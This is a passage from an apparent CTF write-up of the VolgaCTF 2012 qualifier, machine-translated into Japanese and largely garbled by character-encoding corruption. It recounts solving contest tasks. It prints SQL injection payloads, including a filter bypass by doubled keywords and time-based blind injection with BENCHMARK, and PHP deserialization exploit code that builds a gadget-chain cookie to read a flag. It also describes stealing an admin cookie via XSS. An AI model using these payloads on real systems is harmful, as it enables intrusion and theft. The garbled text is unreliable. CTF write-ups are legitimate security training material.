4æ15æ¥ã VolgaCTF-2012æ å ±ã»ãã¥ãªãã£ã³ã³ãã¹ãã®äºéžæ®µéãçµäºã ãVolga Federal Districtã®ããŸããŸãªéœåžã®29ããŒã ãåå ããŸããã ããŒã ã«ã¯ã次ã®åéã®åé¡ã解決ããããã«48æéãäžããããŸããã
- æå·-æå·åã¿ã¹ã¯ã
- Web-ããŸããŸãªWebè匱æ§ã
- ãªããŒã¹ãšã³ãžãã¢ãªã³ã°-ãªããŒã¹ãšã³ãžãã¢ãªã³ã°;
- StegaSicïŒã¹ãã¬ãã°ã©ãã£ïŒãã©ã¬ã³ãžãã¯ïŒ-ã³ã³ãã¥ãŒã¿ç¯çœªã®åéã«ãããã¹ãã¬ãã°ã©ãã£ããã³ç 究ã
- PPCïŒãããã§ãã·ã§ãã«ããã°ã©ãã³ã°ããã³ã³ãŒãã£ã³ã°ïŒ-ããŸããŸãªããã°ã©ãã³ã°ã¿ã¹ã¯ã
- åã³-æ å ±ã»ãã¥ãªãã£ã®åéã«ãããäžè¬çãªåŠç¿ã®ã¿ã¹ã¯ã
- Blackbox Admin-ãããã¯ãŒã¯ç®¡çã¿ã¹ã¯ã
ç§ã¯ããªããšç§ã®å°è±¡ãå ±æãããã®ãããªç«¶æãåå è ã®åŽããæ£ç¢ºã«ã©ã®ããã«èŠããããæžããããšæããŸãã
ãŸãããã®ã³ã³ãã¹ãã®äž»å¬è ãšãåçŽã§ã¯ãªããé¢çœãã£ã圌ãã®è±ªè¯ãªã¿ã¹ã¯ã«ã€ããŠç®¡çè ã«æ·±ãæè¬ããŸãã
ç§ãã¡ã®ããŒã ã¯ãã®ãããªå€§äŒã«åããŠåå ããŸããã 競äºã®éå§ã¯1æéé ããŸããããã®éãç§ãã¡ã¯äœãšãå¿«é©ã«ãªããã³ã³ãã¥ãŒã¿ãŒãã»ããã¢ããããããŸããŸãªåè«ã亀ãããäœãã«ã€ããŠè©±ãåãããšãã§ããŸããã
VPNãµãŒããŒã管çè ã«ãã£ãŠäœæãããããŒã ãæ¥ç¶ããããã®ããŒãé åžãããã²ãŒã ãéå§ãããŸããïŒ
13.04 19:00
ããŒã ã«ã¯ãã¿ã¹ã¯ã®ãããµã€ãã®å éšããã³å€éšã¢ãã¬ã¹ãäžããããŸããã ããŒã å ã§ã¿ã¹ã¯ãåæ£ããäœæ¥ãéå§ããŸããã
å°åéã§ã¬ãã«100ã®è€éãã¯å€§ããç°ãªããŸããã 2ã€ã®ã¿ã¹ã¯ãããã«è§£æ±ºãããŸããã
1ïŒå€§ããªããŒãã«ã®ããHTMLããŒãžãæäŸãããŸããã ããŒãã«ã®åã»ã«ã«ã¯ç¬èªã®è²ãå«ãŸããŠããŸãããCSSãšã®çãã²ãŒã ã®åŸã島ã®åçãåä¿¡ãããJPGã«è»¢éãããGoogleã«ã¢ããããŒãããã島ã®ååãèŠã€ãããŸããã
2ïŒæåãªæµ·è³ãšããã«ãŒã®åçãä¿åãããã¢ãŒã«ã€ããéãããŸããã圌ãã®ãã«ããŒã ãèŠã€ããŠäž»å¬è ã«éãå¿ èŠããããŸããã Googleã®å©ããåããŠãã°ã©ãã£ã«ã«ãšãã£ã¿ã䜿çšããŠå°ãäœæ¥ããããšããã«èŠã€ãããŸããã
13.04 19:20
Webãµã€ãã®è匱æ§ãèŠã€ããŠæªçšããåé¡ã¯ãã¯ããã«èå³æ·±ãããšãå€æããŸããã æåã®ã¿ãŒã²ããã¯ãæµ·è³ã®åæã®ã©ã³ã¯ã«é¢ããæµ·è³ããã°ã§ããã 15ååŸãçžæã¯ããŒãžã®äžéšã®ã³ã³ãã³ããé ãã³ãŒããå°å ¥ããŸããã ããã«ãããXSSè匱æ§ã®ååšã«é¢ããæ å ±ãåŸãããŸããã ãã®åŸãããã°ãå®æçã«æŽæ°ãããæ°ãããããã¯ãè¿œå ãããããšãããããŸããã æ å ±ã¯ããã°ã©ã ã«ãã£ãŠæŽæ°ãããå¯èœæ§ãé«ããšæãããŸããïŒèŠããšããïŒãæšæºã®æ¹æ³ã䜿çšããŠãXSSã®è匱æ§ãæªçšãã管çè æš©éã§ãŠãŒã¶ãŒCookieãååŸããããšã«ããŸããã ã€ã³ã¿ãŒãããã§çºçããã¹ããã¡ãŒã§ã¯ãä»ã®ããŒã ã®åå è ã«é¢ããæ å ±ã®ã¿ã衚瀺ãããŸãããããããããŸããã§ããã XSSãVPNå ã®IPã¢ãã¬ã¹ã«ç§»è¡ãããã©ãã£ãã¯ã¢ãã©ã€ã¶ãŒã¯ç®¡çè ã®æ¥ç¶è©Šè¡ãæ€åºããŸããã ããŒãååŸãããŸããïŒ
ããŸãããŸã解決ã§ããªãã£ãã®ã¯ãæå·åããªããŒã¹ããããã§ãã·ã§ãã«ããã°ã©ãã³ã°ïŒppcïŒã®ã¿ã¹ã¯ã§ãããããã¯ãç§ãã¡ãããã«ãPPCããšããçãç°¡åãªåèªãšåŒãã ãã®ã§ãã
PPCãã¡ã€ã³ã®ã¿ã¹ã¯ã§ã圌ãã¯ããã«éããŒã©ã³ãèšæ³ãèªèããŸããã 倧éã®äœæ¥ã®ãããããã»ããµã¯ããã«ããã°ã©ã ã®äœæãéå§ãããéçºãšãããã°ã«ããªãã®æéãããããŸããã çãã¯ç¿æ¥ã ãã«å±ããã
圌ãã¯ãcrypto100ã§ã®äžèŠåçŽãªã¿ã¹ã¯ãå§åããŸããã§ããã
04/13 20:30
Joyãšãªã¢ããã¯ã©ã·ãã¯ã¯ãšã¹ããç²åŸããŸããã
æå·åãããã¢ãŒã«ã€ãã¯é ãããæå³ãæ€çŽ¢ãå§ããŸããã§ããã圌ãã¯æåã«åçã§æ±ããããŠããããšãããããšããããšã決ããŸããã 圌ãã¯åçãæ®ã£ãŠã圌ãã200ãã€ã³ãç²åŸããŸããïŒç¢ºãã«ãç§ã¯å°ããªãã©ãã·ã§ãããæ®ããªããã°ãªããŸããã§ãã-æµ·è³ã®å±æ§ãè¿œå ããŸããããçµæã¯çŽ æŽãããã£ãã§ãïŒ
ã»ãŒåæã«ã管çè ã®ãªã³ã¯ãžã®ãªã³ã¯ãrobots.txtã«æ®ã£ãŠããWeb200ã®åé¡ã解決ããŸããã
13.04 21:15
æ®å¿µãªãããå€éã«å€§åŠã«æ»åšããããšã¯èš±å¯ãããŠããªããããããŒã ã¯æ·å°ã空ããããã«æ±ããããŸããã 匷ããšéå¿ã«æºã¡ãç§ãã¡ã¯ãã¢ããŒãã§åé¡ã解決ãç¶ããŸããã
04/13 10:30 p.m.
ãã®é ãæåã®ç®¡çã¿ã¹ã¯ãéãããŸããã ãµãŒããŒãå©çšå¯èœã«ãªããŸããã 1000ãè¶ ããéããŠããããŒãããããŸããã æããããæ¢ãå§ããŸããã 1000ããŒãã®èŠæ±ã¯åžžã«ãPããè¿ããŸããã ããŒã1000ãåç §ããåŸã®ããŒã1001ã®èŠæ±ã¯ãåžžã«ãiãã§ãã åæ§ã®ç¶æ³ã¯1002ã1003ãªã©ã§ããã ããŒãã 1000ãã1005ã®ããŒãã§é£ç¶ããŠæ¥ç¶ãããæåã¯ãåèªããã©ãããäžããŸããã ããŒã1000ã®èŠæ±ã¯ãæåã®ã·ãŒã±ã³ã¹ãç Žæ£ããŸããã é£æ¥ããŒããžã®åŒã³åºãéã«é·ãé 延ããããããã¢ã«ãŽãªãºã ã¯æ©èœããŸããã§ããã
æ å ±ãåéãã段éã§ã¯ããµãŒããŒã®ãã¹ãŠã®ããŒãã§æ å ±ã䞊ã¹æ¿ããŠè¡šç€ºããããã°ã©ã ãäœæããå¿ èŠãããããšã瀺ãããŸããã ç°¡åãªperlããã°ã©ã ãããã«æžãããŸããã 圌女ã®ä»äºã®çµæã¯ãæ°äžäººã®ãã£ã©ã¯ã¿ãŒãä»äºã®éµãæ¡ã£ãåŸãè±èªã®ããã¹ãã«ãªããŸããã
13.04 23:45
ããã§ãWebãšãªã¢ããã®éåžžã«èå³æ·±ããªãªãžãã«ã®ã¿ã¹ã¯ã«ã€ããŠã話ããããšæããŸãã
ã¿ã¹ã¯3ã¯ãæµ·è³ããŒã®ãµã€ããåç §ããŸããã
ãµã€ãããã£ãšèŠãŠããç®ã«èŠããè匱æ§ã¯ãããŸããã§ããã ç®ã¯htmlã³ãŒãã®é ãããã³ã¡ã³ãã«èœã¡çããŸããã
ãPirate Browserãã®ã€ã³ã¿ãŒãããæ€çŽ¢ããã³ãŠãŒã¶ãŒ-ãšãŒãžã§ã³ãã®ãã¹ãŠã®å¯èœãªååã®çœ®æã¯ãçµæããããããŸããã§ããã ãããã圌ãã¯ããã«ãã®åéã§SQLã€ã³ãžã§ã¯ã·ã§ã³ãçºèŠããŸããã è€éãªããšã¯ãªãããã«èŠããŸãããããã¯æ¿å ¥æ³šå ¥ã§ãã SELECTãORãWHEREãORDERãGROUPãANDãªã©ã®ã³ãã³ããåãåããã次ã®ãããªã¯ãšãªããã£ãããšãèå³æ·±ãããšãããããŸãã
SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_NAME LIKE 'k%'
æãèµ·ãããã
SELSELECTECT TABLE_NAME FRFROMOM infoORrmation_schema.tables WHWHEREERE TABLE_NAME LIKE 'k%'
ä»ã«èå³æ·±ãã®ã¯ãCOOKIEã®éèŠãªãã©ã¡ãŒã¿ãŒã§ãããåžžã«ç¡å¹ã«ãããŠããŸããã
å®è¡çµæã¯ã©ãã«ã衚瀺ãããŸããã§ããïŒããããèŠã€ãããŸããã§ããïŒããåã«ããŒã¿ããŒã¹ã«æžã蟌ãŸããŸããã INTO OUTFILEããã³ãã®ä»ã®ã¡ãœããã¯æ©èœããŸããã§ãããç§ã¯éæšæºã®ã¡ãœããã«é Œããªããã°ãªããŸããã§ããã 決å®ã¯æãŸã§å»¶æãããŸããã
ç§ãæåã«æãã€ããã®ã¯ããµãã¯ãšãªæ¡ä»¶ãæºããè¡ã®æ°ããŒãã®å Žåã«ã¹ã¯ãªãããšã©ãŒã«ã€ãªããããšã§ããã æåã¯å®æ°ãCOUNTïŒ*ïŒã§é€ç®ããããšããŸããããCOUNTïŒ*ïŒããŒãã«çããå ŽåãMySQLã¯éãã«ããã飲ã¿èŸŒã¿ãŸããã
æ€çŽ¢MySQL-çµæã®å¿ é ãã©ã¡ãŒã¿ãŒã§ããå¿ èŠãããé¢æ°ã¯æå®ãããŠããŸããã
ããããããããã¿ã€ãã³ã°æ»æã䜿çšããããšãå€æããŸããã ããŒããã¥ãŒã«å€æã§ããããŒãã«ã®ååãæ€çŽ¢ããã¯ãšãªã
pirat'),((SELSELECTECT if(COUNT(*)!=0,BENCHMARK(100000000000,NOW()),1) FRFROMOM infoorrmation_schema.tables WHERE TABLE_NAME LIKE 'k%'))#
倧ãã£ã±ã«èšãã°ãæ¡ä»¶ãæºããåäžã®è¡ããªãå Žåããµã€ãã¯ãã£ãããšéããããããã°ãããã«éããŸãã éåžžã®æäœã1,000,000,000åç¹°ãè¿ãBENCHMARKé¢æ°ã«ãããäœéã®æäœé床ãæäŸãããŸãã
LIKEãä»ããæ€çŽ¢ã¯ãåœåSUBSTRïŒTABLE_NAMEã1,1ïŒ> 'a'ã«ãã£ãŠæåŠãããŸããã 1æåããœãŒãããã®ã«é·ãæéãããã£ããããç¯å²ãæå®ã§ããŸããã ïŒæ³šããããã®ã¢ã¯ã·ã§ã³ãèªååããã¹ã¯ãªãããå®è£ ããããšãã§ããŸãããïŒããŒãã«åã®æåã®æ°æåãéžæããåŸãæ£èŠè¡šçŸã§æ€çŽ¢ãæå®ã§ããREGEXPïŒïŒé¢æ°ã®ååšãæãåºããæåã®éžæãã¯ããã«ç°¡åã«ãªããŸããã ãã©ã°ã®ããããŒãã«ã®ååã«å ããŠãåæ§ã®ã¢ã¯ã·ã§ã³ããã©ã°ã®ãããã£ãŒã«ãã®ååããã©ã°èªäœãèŠã€ããŸãããåèšçŽ25æåãæåãã€ããªæ€çŽ¢ã§ãœãŒãããå¿ èŠããããŸããã
èŠã€ãã£ãããŒã¯ãelpirataããšããåèªã§ããããšãå€æããŸããããããã¯å²ãåœãŠã«å¯ŸããçããšããŠã¯é©åããŸããã§ããã ãã ãããã®Cookieã«ãã®åèªã䜿çšããŠå€æ°ããŒãèšå®ãããšããžã§ãããããŒãååŸã§ããŸãã
04/14 02:00
æåã®ã³ãŒããŒãã°ã§ã¯ãªããããŒã ã¯PDFãã¡ã€ã«ã§ãšã¯ã¹ããã€ããèŠã€ããåé¡ã解決ããwavãã¡ã€ã«ã§ããŒãæ€çŽ¢ããã®ã«1æé以äžè²»ãããŸããïŒããã¯ä¿¡å·ã¹ãã¯ãã«ã®ç«¯ã«ããããšãå€æããŸããïŒã
ç¹å®ã®æ¡ä»¶äžã§ãä¿¡å·ãã©ã°ã䜿çšããŠãããŒãå«ãã¡ãã»ãŒãžãã¿ã¹ã¯ã«éä¿¡ããŸããã
35 MBã®ã°ã©ãã£ãã¯JPEGãã¡ã€ã«ã«å€ãã®ããã¹ããå«ãã¿ã¹ã¯ã®1ã€ã§ãåŽæ°ŽãèŠããŸããã
04/14 05:00
åãã¿ã¹ã¯ã§ã圌ãã¯ã€ã·ã®æšãèŠãŠãç ãã«ã€ãæã ãšæ°ã¥ããŸãã...
ãããã¿ã¹ã¯ã§ã...
14.04 11:00
ç§ãã¡ã¯å€§åŠã«å°çããæªå®æã®ä»äºã«åãçµã¿å§ããŸããã
14.04 15:00
WEB 400ã¬ãã«ã®ãšãªã¢ããèå³æ·±ãå²ãåœãŠãåããŸããã è匱æ§ãæ€çŽ¢ããããã«ãããã€ãã®ãµã€ããæºåãããŸããã
æåã®ãµãŒããŒã«ã¯å®ã®Webãµã€ããããã2çªç®ã®ãµãŒããŒã«ã¯Webã¹ã¿ãžãªã®Webãµã€ãããããŸããã å ¥åãã©ã¡ãŒã¿ãŒãåæãããšããã©ã€ã³ãSQLã€ã³ãžã§ã¯ã·ã§ã³ãæããã«ãªããŸããããã®å ŽåãUNIONã³ãã³ãã䜿çšããããšã¯ã§ããŸããã§ããã æ¢ç¥ã®åèªã®ã©ã³ãã æ€çŽ¢ã«ãããidããã³userãã£ãŒã«ãã«1ã€ã®ã¬ã³ãŒããå«ãŸããuserããŒãã«ãèŠã€ãããŸããã
åã®ã¿ã¹ã¯ãšã¯ç°ãªããREGEXPé¢æ°ã¯æ©èœãããLIKEã§æåããœãŒãããã¹ã¯ãªãããéçºããŸããã
æçµçãªããŒã¿ããŒã¹ã¯ãšãªïŒ
0 OR (SELECT user from user where user like 'adm%') LIKE '%'
äžèšã®ãªã¯ãšã¹ãã®åèªadmã®ä»£ããã«ãã¹ã¯ãªããã¯ããŸããŸãªæåã®çµã¿åããã眮ãæããŸããããŠãŒã¶ãŒãç¹å®ã®çµã¿åããã§å§ãŸãããšãå€æããå ŽåãããŒãžã®ã³ã³ãã³ãã衚瀺ãããŸããã
ãŠãŒã¶ãŒãèŠã€ããããšã«å°ãé©ããã ããã¯ã¯ãã¹ãã°ã¬ã¹ã§ããããšãå€æããã PostgresSQL DBMSã䜿çšãããŠãããšæ³å®ããã®ã¯è«ççã§ããã
ãã®DBMSã®ããã¥ã¡ã³ããèªãããšã§ãmysqlã®information_schemaã®ããŒãã«ã眮ãæããããŒãã«ãèŠã€ãããã®ãã«ãã䜿çšããŠããã¹ã¯ãŒããå«ããŠãŒã¶ãŒããŒãã«ãã£ãŒã«ãã®ååãèŠã€ããããšãã§ããŸããã ãã®ãã¹ã¯ãŒãã¯md5ã«ä¿åããã埩å·ååŸã¯16æåã®postgrespostgresã§ããã ãã®ãã°ã€ã³ã¯ããµã€ã管çè ã®ããã«ã«ã¯è¡ããŸããã§ããã ãªã¢ãŒããµãŒããŒäžã®DBã³ã³ãããŒã«ããã«ãèŠã€ããããå€éšããã®ã¢ã¯ã»ã¹ãéããããŸããã ããŒã¿ããŒã¹ãããã°ã€ã³ããã®ã¯ååæ®å¿µãªããšã§ããããæ¥ç¶ã§ããŸããã§ããã
ããŒãã«ã®ååãéžæãå§ãã管çè ããŒãã«ãèŠã€ããŸãããããã«ã¯ããµã€ã管çè ã®ããã«ããã®ãã°ã€ã³ããã§ã«å«ãŸããŠããŸãã 管çããã«ã§ã¯ããµã€ãã®2ã3ããŒãžã®ãœãŒã¹ã³ãŒããåŸ ã£ãŠããŸããããããã®ããŒãžãžã®ã¢ã¯ã»ã¹ã¯ååŸããå¿ èŠããããŸããã ãããã®ããŒãžã§ã¯ãã¢ãã¬ã¹ãããã£ãŠããå Žåãfreadé¢æ°ã«ãã£ãŠ_GETã§æå®ããããã¡ã€ã«ãèªã¿åãããšãã§ããŸããã ãã©ãŠã¶ãŒããã®ãªã¹ãçšã«éããããã¡ã€ã«ãå«ãŸãªããã©ã«ããŒãžã®é衚瀺ã®ãªã³ã¯ããããŸããã
UNIXã·ã¹ãã ã®ãã¹ãŠã®æšæºæ§æãã©ã«ããŒã調ã¹ãŠèª¿ã¹ããšããã.bash_historyãšaccess_logã«ã¢ã¯ã»ã¹ããããšããŸãããããŸã£ãã圹ã«ç«ã¡ãŸããã§ããã 幞ããªããšã«ã圌ãã¯ããã«é ããã©ã«ããŒã§.htaccessãã¡ã€ã«ãèŠã€ããŸããã ãã£ã¬ã¯ããªäžèŠ§ã«ãã©ã°ã®ãããã¡ã€ã«ã®è¡šç€ºãçŠæ¢ããã«ãŒã«ããããŸããã é ããã¡ã€ã«ãããŠã³ããŒããããšãæå·åãããJavaScriptã³ãŒãã衚瀺ãããŸããã 圌ãã¯ãã¿ã¹ã¯ããã©ãã°ã¢ãŠããããããšã«åæºãå§ããŸãããã1ååŸã«ãã¿ã¹ã¯ããã®ãã©ã°ãå«ãããŒãžã§ã¢ã©ãŒããå®è¡ãããŸããã
ã¿ã¹ã¯å šäœã«5æéããããŸããã
web500ã§ããµã€ããžã®å ¥ãå£ã§åºæ¬çãªèš±å¯ãåŸãã¿ã¹ã¯ãèŠãŠã延æããããšã«ããŸããã
ãã®æ¥ãæ®ãã®ããŒã ã¡ã³ããŒã¯æ¬¡ã®ãããªèå³æ·±ãåé¡ã解決ããŸããã ç¹æš©ãšã¹ã«ã¬ãŒã·ã§ã³ã«ãã管çãæå·åã¿ã¹ã¯ã®1ã€ãããã³ãã¬ã³ãã«é¢ããèå³æ·±ãã¿ã¹ã¯ã ããŠã³ããŒããããåãã¬ã³ãã§ã¯ãä»ã®ãã¬ã³ããããŠã³ããŒãããããã«ååž°çã«ææ¡ããããã¹ãŠã®ããŒããçµã¿ç«ãŠãåŸãSlaxç»åãååŸãããããŒãå«ãŸããŠããŸããã
14.04 20:00
ç§ãã¡ã®ããŒã ã¯ãªãŒããŒã§ãç²ãã人ã¯å®¶ã«åž°ããŸããã å€äžã«èª°ããå€ãã®ã¿ã¹ã¯ãå®äºããã«ãããããããç§ãã¡ã¯ããç ãããšã«æ±ºããŸããã
15.04 11:00
æçµæ¥ã«ãã¬ãã«5ã®2ã€ã®ã¿ã¹ã¯ã®ã¿ã解決ãããã»ãšãã©ã®ãã€ã³ããäžããããŸããã
äž¡æ¹ã®ã¿ã¹ã¯ãé¢çœãã£ãã®ã§ããããã«ã€ããŠè©³ãã説æããããšæããŸãã
æšæ¥å»¶æãããweb500ã¿ã¹ã¯ã¯å€±æããŸããã index.phpãã¡ã€ã«ã«POSTããŒã¿ãéä¿¡ãããšãããŒãžã衚瀺ãããããšãããããŸãã
çŽèŠ³ã¯ãããã¯åã«ããã§ã¯ãªããšèšã£ãã äžè¬çãªè匱æ§ã«ã€ããŠè©±ãããšã¯ã§ããŸããã æªéå°ã®ç»åã¯ãç¬é¡ã®ãããŒã«é¡æµ·è³ã®base64ãšã³ã³ãŒããããpngã§ããããšãå€æããŸããã åæ§ã®ç»åãæ€çŽ¢ãããšããã£ã³ãã¹ãµã€ãºã¯åãã§ããããã£ã¹ã¯äžã®ãµã€ãºãç°ãªãç»åã衚瀺ãããŸããã ãã¡ã€ã«å ã®é ãæ å ±ã®æ€çŽ¢ã«å€±æããŸããã
å°ãå¿ æ»ã ã£ãã®ã§ãã¢ãã¬ã¹/index.php.bakãã¢ãã¬ã¹ããŒã«æ¿å ¥ããå ã®ããŒãžã®ã³ãŒããååŸããŸããã
ç®ã¯æãã§ãããæã¯ãã£ãŠããŸã...ãã³ãŒããããŸããã
function __autoload($classname) { $classpath = './inc/class/'.$classname.'.php'; if(file_exists($classpath)) include $classpath; } require_once('inc/config.php'); echo '<!DOCTYPE html><center><form method="POST"><input name="login" type="text"><input name="password" type="text"><br><input type="submit"></form></center>'; if(isset($_POST['login'],$_POST['password'])) { // TODO echo underconstruction(); } elseif(isset($_COOKIE['auth'])) { $auth = unserialize((string)$_COOKIE['auth']); if(isset($auth['login'],$auth['password'],$auth['name']) and ($auth['login'] === 'pirate') and ($auth['password'] === 'pirate1')) { echo ", {$auth['name']}!"; } else { echo "<center> , !</center>"; } }
æ°é ãã®ããèªè ã¯ãè匱ãªæååecho "Helloã{$ auth ['name']}ïŒ";ã«æ°ä»ãã§ãããã ããã³__autoload
ããã«ã$ auth ['name']å€æ°ã«äžæãªã¯ã©ã¹ã®ãªããžã§ã¯ããå«ãŸããŠããã·ãªã¢ã«å解é€åŸã«ãCookieããŒã¿ãæºåããã¹ã¯ãªãããäœæãããŸããã ããã¯èªåããŒãæ©èœãšåŒã°ããphp-injectionãªã©ã®è匱æ§ã®å®è¡ã§ãã
$value=new arrayObject(); $value->offsetSet('login','pirate'); $value->offsetSet('password','pirate1'); $value->offsetSet('name',new index); $value=serialize($value); echo 'auth='.urlencode($value).';';
ã€ã³ããã¯ã¹ãã¡ã€ã«ãããŠã³ããŒããããšããã©ã«ããŒå ã®ãã¡ã€ã«ã®ãªã¹ããè¿ãããŸããã ããã«ããããžã§ã¯ãã¯ã©ã¹ãå«ãä»ã®ãã¡ã€ã«ã®ãœãŒã¹ãåä¿¡ãããŸããã
ç§ã¯ããå°ãæ®ã£ãŠãããšèšã£ãFlagã¯ã©ã¹ã«æºè¶³ããå æ°ã«ãªããŸããã
<?php class Flag { public static $flag = "FLAG"; public function getFlags() { return array(self::$flag); } } ?>
ä»ã®ã¯ã©ã¹ã®ç 究ã«ãããããå€ãã®è匱æ§ãæããã«ãªããŸããã
ç¹ã«ãtextboxã¯ã©ã¹ã«ã¯é¢æ°ãå«ãŸããŠããããšãããããŸãã
function __toString() { return $this->obj->printObj(); }
ãªããžã§ã¯ãã«é¢æ°ãå«ãŸããŠããŸã
public function printObj() { return serialize($this); }
ãŠãŒã¶ãŒã«æ©èœãå«ãŸããŠããŸã
public function __sleep() { return $this->login->{$this->password}(); }
ãã®çµæãã¹ã¯ãªããã«éä¿¡ããããã«ãããŒãè¿ãæ§é ãã³ã³ãã€ã«ãããŸããã ïŒå®éããŠãŒã¶ãŒã¯ã©ã¹ã§ã¯ã__ contuctïŒïŒé¢æ°ã®ååã«ãšã©ãŒããããä¿®æ£åã«éçºè ã¯æ©èœããŸããã§ãããïŒ
$value->offsetSet('name',new Textbox(new Object(new User(new Flag,'getFlags'))));
ã¿ã¹ã¯å šäœã«7æéããããŸããã
åæã«ãããŒã ã®å¥ã®éšåãå ã®Joy500ã¿ã¹ã¯ã®è§£æ±ºçãèŠã€ããŸããã
ã¹ã¯ãªããã¯ãvk.comããã©ã³ãã ãªå¥³ã®åãéžæããŸããã ããŒã ã¡ã³ããŒã¯ãã³ã³ãã¹ãçšã«èšèšããããµã€ãã«ç»é²ããããã«äŸé Œããå¿ èŠããããŸãã
äœãè€éã§ã¯ãªãããã§ã
èªæããå¿ èŠããããµã€ããèŠããšããŠã£ã³ããŠã衚瀺ãããŸãã
ããããããïŒ
ãããŠãµã€ãèªäœïŒ
äžåãªé³æ¥œã¯ããã¯ã°ã©ãŠã³ãã§åçãããŸããç»é²åã«333ç§åŸ ã€å¿ èŠããããŸãã ã¢ãŒãã«ãŠã£ã³ããŠã¯åžžã«æ¶ããŸããäžè¬çã«ãæªéã®ãããªWebãµã€ãïŒãªãã¿ã®ãªã女ã®åãç»é²ãããã説åŸããã®ã¯ããã»ã©ç°¡åã§ã¯ãããŸããã§ããã
ããã§ãVolgaCTFã«é¢ãã話ã¯çµããã§ãã ç§ãã¡ã®ããŒã ã¯ååãªããŒãžã³ãç²åŸããå€ãã®çµéšãåŸããã«ã¿ã€ã ã®å€ã®ãã¢ãŒã®ãµãã©ãžã®ãã±ãããæã«å ¥ããŸããã ãŸãã管çè ã«ã¯ãŒã«ãªTã·ã£ããçããŸããã
Joy200ã«å¯Ÿå¿ããããŒã åçã